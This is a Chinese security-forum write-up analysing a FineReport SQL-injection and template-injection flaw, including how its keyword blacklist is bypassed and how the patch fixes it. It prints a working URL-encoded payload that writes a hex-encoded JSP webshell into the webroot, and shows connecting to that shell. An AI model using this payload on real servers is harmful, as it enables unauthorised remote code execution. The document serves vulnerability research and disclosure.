问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
帆软 FineReport SQL 注入漏洞
漏洞分析
通过分析帆软v10的路由特点,利用asm来获取所有可未授权访问的接口,最后快速定位到该漏洞具体位置
一、漏洞简介 ------ 帆软v10,v11存在/view/ReportServer接口存在模版注入漏洞,攻击者可以利用该漏洞执行任意SQL写入Webshell,从而获取服务器权限。 二、影响版本 ------ 该漏洞影响 FineReport 10.0、FineReport11.0、FineBI 的tomcat 部署包(7 月 23 日补丁版本之前的全部版本) 三、漏洞原理分析 -------- 帆软v10路由处理 从v10开始,web.xml中不在设置自定义filter,使用注解来处理路由,这里从DispatcherServlet.doDispatch方法来分析路由是如何处理的 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-0c7c3ec3d51baf7108c4e42d887a85af29d00477.png) 从this.getHandler中根据请求的路径,参数等信息获取对应处理业务逻辑的handler 比如请求的路径是`/webroot/decision/login`对应的hanlder信息: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-4a99242c6bba339dd1cc46dd6ff58ebed95464c0.png) 接着从this.getHandlerAdapter中获取对应handler的适配器,后续用来解析handler mappedHandler.applyPreHandle是路由处理的关键 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-01d5d10855b4c3da5449bc0983c7e3f8b4881a98.png) 前五个拦截器负责处理请求的合法性,不对请求进行权限校验,从DecisionInterceptor开始校验权限,进入DecisionInterceptor.preHandle方法 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9102c3b1f512274461d9231cf725e313bd474359.png) EventDispatcher.fire方法为设置触发器 将handler转换为HandlerMethod后进入getRequestChecker ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-89a18c7612c5de85a2aca5918168ba05f578b138.png) checkerList如下: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-32092d4369b076ed4c1a4aac5627ffc93f078135.png) 从这里开始迭代这个list,并且调用其acceptRequest方法,如果返回true则跳出循环 DecisionRequestChecker.acceptRequest如下: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9251922374eed968be550103e44285ac76ce8046.png) 这里获取handler的方法是否存在TemplateAuth这个注解,如果没有则返回true ReportTemplateRequestChecker ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-17497c5905126ce736e37d8d4893b66cd27b9919.png) 处理TemplateAuth不为空的情况,并且TemplateAuth的product属性为TemplateProductType.FINE\_REPORT,否则返回false 其余的类和以上的情况差不多 返回到DecisionInterceptor 因为这里对应的handler是LoginResource.page没有TemplateAuth注解,所以返回DecisionRequestChecker ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-6fd99ee20670945c0e79468eec3c2c1200657c92.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-bdb5992b9931976e51df464a104b2c0e03cdfe4a.png) 进入DecisionRequestChecker.checkRequest ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-85c8944d4769c2cb992d92fbd3d5327291ec0bc3.png) 进入getLoginStatusValidator,这里开始判断这个请求对应的方法是否需要被进行检查 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-002c39b31ce3b6b40d1195e15f4685db39e1f70a.png) 这里就比较清楚了,如果类和方法被LoginStatusChecker修饰,并且required为false即不需要被鉴权 所以接下来就来寻找不需要被鉴权即可访问的类和方法,在idea里面,jar包中不支持反向查找,所以这里用asm来实现.class文件的解析 利用asm快速获取可未授权访问的接口 编写简单的asm代码 ```php public class AllClassVisitor extends ClassVisitor { private byte\[\] classData; private boolean isControllerClass \= false; private boolean isRequestMappingClass \= false; private boolean isRestController \= false; private String className; private boolean classNeedAuth \= true; private boolean methodNeedAuth \= true; public AllClassVisitor(byte\[\] data) { super(Opcodes.ASM6); classData \= data; } @Override public void visit(int version, int access, String name, String signature, String superName, String\[\] interfaces) { super.visit(version, access, name, signature, superName, interfaces); className \= name; } @Override public AnnotationVisitor visitAnnotation(String descriptor, boolean visible) { if (descriptor.equals(Annotation.controller)) { isControllerClass \= true; } else if (descriptor.equals(Annotation.requestMapping)) { isRequestMappingClass \= true; } else if (descriptor.equals(Annotation.restController)) { isRestController \= true; } else if (descriptor.equals(Annotation.loginStatusChecker)) { return new AnnotationVisitor(Opcodes.ASM6) { @Override public void visit(String name, Object value) { if (name.equals("required") && value instanceof Boolean && value.toString() \== "false") { classNeedAuth \= false; } super.visit(name, value); } }; } return super.visitAnnotation(descriptor, visible); } @Override public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String\[\] exceptions) { return new AllMethodAdapter(className, name); } @Override public void visitEnd() { if (isControllerClass || isRequestMappingClass || isRestController) { if (!classNeedAuth || !methodNeedAuth) { String fileName \= "your save path" + className.substring(className.lastIndexOf("/") + 1) + ".class"; File file \= new File(fileName); try { FileUtils.writeByteArrayToFile(file, classData); } catch (IOException e) { throw new RuntimeException(e); } } else { String fileName \= "your save path" + className.substring(className.lastIndexOf("/") + 1) + ".class"; File file \= new File(fileName); try { FileUtils.writeByteArrayToFile(file, classData); } catch (IOException e) { throw new RuntimeException(e); } } } } public class AllMethodAdapter extends MethodVisitor { private String methodName; public AllMethodAdapter(String name, String method) { super(Opcodes.ASM6); className \= name; methodName \= method; } @Override public AnnotationVisitor visitAnnotation(String descriptor, boolean visible) { if (descriptor.equals(Annotation.loginStatusChecker)) { return new AnnotationVisitor(Opcodes.ASM6) { @Override public void visit(String name, Object value) { if (name.equals("required") && value instanceof Boolean && value.toString() \== "false") { methodNeedAuth \= false; } super.visit(name, value); } }; } else if (descriptor.equals(Annotation.templateAuth)) { return new AnnotationVisitor(Opcodes.ASM6) { @Override public void visitEnum(String name, String descriptor, String value) { if (name.equals("product") && descriptor.equals("Lcom/fr/decision/webservice/bean/template/TemplateProductType;") && value.equals("FINE\_REPORT")) { methodNeedAuth \= false; } super.visitEnum(name, descriptor, value); } }; } return super.visitAnnotation(descriptor, visible); } } } ``` 分析所有帆软v10的jar包,得到下面的文件列表,包含了所有可不经过鉴权即可访问的方法和类 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-addabc476fe76cc3cf90c36f7e972149eeee7694.png) 那么ReportRequestCompatibleService就是对应`/view/ReportServer`的漏洞点了 > 如果需要对帆软的业务代码进行调试,需要对其业务代码重新编译恢复class文件中的行号信息,然后替换到原来的jar包中,重启服务即可 分析/view/ReportServer接口的ssti 发送payload ```php test=s&n=${__f_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Faaa.jsp%27%20as%20gggggg%3B%27),1,1)}${__fr_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFCREATE%20TABLE%20gggggg.exp2%28data%20text%29%3B%27),1,1)}${__fr_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFINSERT%20INTO%20gggggg.exp2%28data%29%20VALUES%20%28x%27247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d%27%29%3B%27),1,1)} ``` 打下断点,开始调试 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-aae0dbfe0a946a6887037d43cf6c6ceb06b360cb.png) 进入render方法,继续跟进 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ad1f1f3b62aa19e9be68eb9f034e6e2e24ce389f.png) 这里的com.fr.script.Calculator方法,文档的解释是用来处理公式的运算 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-af3324f09714fa89cc3f2d131edf513e7a2243f4.png) 进入renderTpl ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-325fe4d735e2b5e52e34008d6b098cf226d12f5b.png) 继续跟进renderTpl ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-3e6602fb370d813a93ef59ce9a008835e159dd76.png) 这里对${...}这样格式的数据进行正则校验 这里的第一个${fineServletURL},通过服务器的全局数据获取到context数据,从第二个${}开始 进入TemplateUtils ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-e7398d31cb37da406c0efbff374de74289af84df.png) 一直跟进到Calculator.evalString方法 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ca9dd7267af5900385335992434452ed87d1f8a0.png) 这里通过parse把参数和值解析成三部分,继续跟进eval,对这三部分进行解析处理 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-20afee7500473d90a0c383d19e8f81bff560a9f1.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-129a8cc7f4eca2cdd66b0714562552054e30ef1e.png) 这里在处理第三部分,也就是对应的sql语句的时候,会有一个额外的处理 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-1c5584c79862ade981b8d3b95d0d01ba2d71eb09.png) 解析是否存在这个sql的方法 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-a4dc58b5d63aa3b3b8a40ee19d1e3b0de6367143.png) 也就是说如果没有找到sql的类,会拼接com.fr.function.sql这样,再去反射获取obj,那么 后续其实就在调用obj的run方法了 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-879d4ac529de540b849cce138d3d82b0178f7b0d.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-8409b4556bc0a1d57c3a7cd4577cce0d5af59fc9.png) 但是在执行sql之前,需要被另外一个线程检查 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-4d24ab58bdd7634c502a6732ab294cc9d4d459fe.png) InsecurityElement如下: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-499693f2da355cb8adaa57630c1553aafe1ec346.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-af3ca177fbbd44d742a6b239ad982cbbc60f8fa4.png) 所以这里需要先去除字符串和字符内容,再去除特殊字符,然后返回sql的执行关键语句,最后判断这个关键字是否在黑名单里面 然后在回来看payload里面的sql语句 ```php %EF%BB%BFATTACH DATABASE '../webapps/webroot/aaa.jsp' as gggggg; 创建数据库文件落地 %EF%BB%BFCREATE TABLE gggggg.exp2(data text); 创建表 %EF%BB%BFINSERT INTO gggggg.exp2(data) VALUES 插入数据(x'247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d'); ``` 语句的每一个开头都有一个%EF%BB%BF ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-986c6777aa16f365565a9d922f01d648877adbbd.png) 这里sqlite的文档显示如果开头字符存在U+FEFF则移除,正好可以绕过帆软的关键字检测 最后完成aaa.jsp的写入,其实这就是个sqlite的数据库文件... 最后访问即可rce 但是这里的环境有问题,帆软里面大部分jar包,以及tomcat的jsp依赖,都被帆软官方改过,在win下貌似有问题 漏洞补丁分析 后续的补丁在ReportRequestCompatibleService.preview做了修改: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ac826758b5a5cbb9b566f48ad6b37198504cadf5.png) 用户的数据不在被render方法解析,这个未授权的接口也无效了 然后在JDBCSecurityChecker$InsecuritySQLKeyword.probed方法中也做了对应的修改: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-0766a48e0bfa774e5899da02463eb8b19cf296b0.png) 可以看见不在做简单的匹配了,直接用正则来匹配黑名单关键字,sqlite的特性在这里也被修复了 四、环境搭建 ------ 下载帆软v10的历史版本 <https://www.finereport.com/product/download> 开启调试端口,修改/bin/designer.bat,添加如下代码 -agentlib:jdwp=transport=dt\_socket,server=y,suspend=n,address=localhost:5005 启动designer.bat ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-0df081037ce03b890b2132f0037371aaabf64ff0.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-7dff6cae1817243eed0ecf27be3dfb319075c658.png) 这里的试用可以申请,比较方便 五、漏洞复现 ------ 最后在网站根目录下有aaa.jsp 使用蚁剑链接url:<http://192.168.0.107:8075/webroot/aaa.jsp?a=javax.script.ScriptEngineManager> 密码为b ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-d3c59e350740712bb370598e6331d686a2881403.png) 六、总结 ---- 在分析帆软v10的路由情况时,发现大部分未授权的接口都使用了对应的注解,这个时候可以利用asm来快速获取不需要鉴权的接口,从0day视角分析此漏洞 /view/ReportServer漏洞主要利用了ssti和sqlite数据库的特性,通过对应的sql方法完成数据库(即shell文件)的落地,以及对此sql文件的数据操作完成恶意数据的写入,最后实现rce 参考 <https://android.googlesource.com/platform//external/sqlite/+/d11514d85b96ef33b1a78080246df7df2cf5d9ea/dist/orig/sqlite3.h> <https://y4tacker.github.io/2024/07/23/year/2024/7/%E6%9F%90%E8%BD%AFReport%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%AD%E5%88%A9%E7%94%A8%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%86%E8%8A%82/>
发表于 2024-08-19 10:08:47
阅读 ( 3751 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
yrf2314
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!